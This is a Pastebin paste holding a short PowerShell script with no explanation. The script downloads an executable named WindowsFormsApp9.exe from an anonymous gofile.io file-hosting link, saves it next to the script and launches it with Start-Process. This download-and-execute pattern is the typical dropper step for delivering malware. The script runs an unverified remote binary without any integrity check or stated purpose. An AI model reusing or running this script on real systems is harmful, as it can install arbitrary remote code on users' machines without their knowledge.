Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $url = "https://srv-file5.gofile.io/download/5d7cbB/WindowsFormsApp9.exe"
- $outpath = "$PSScriptRoot/WindowsFormsApp9.exe"
- Invoke-WebRequest -Uri $url -OutFile $outpath
- $wc = New-Object System.Net.WebClient
- $wc.DownloadFile($url, $outpath)
- $args = @("Comma","Separated","Arguments")
- Start-Process -Filepath "$PSScriptRoot/WindowsFormsApp9.exe" -ArgumentList $args
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement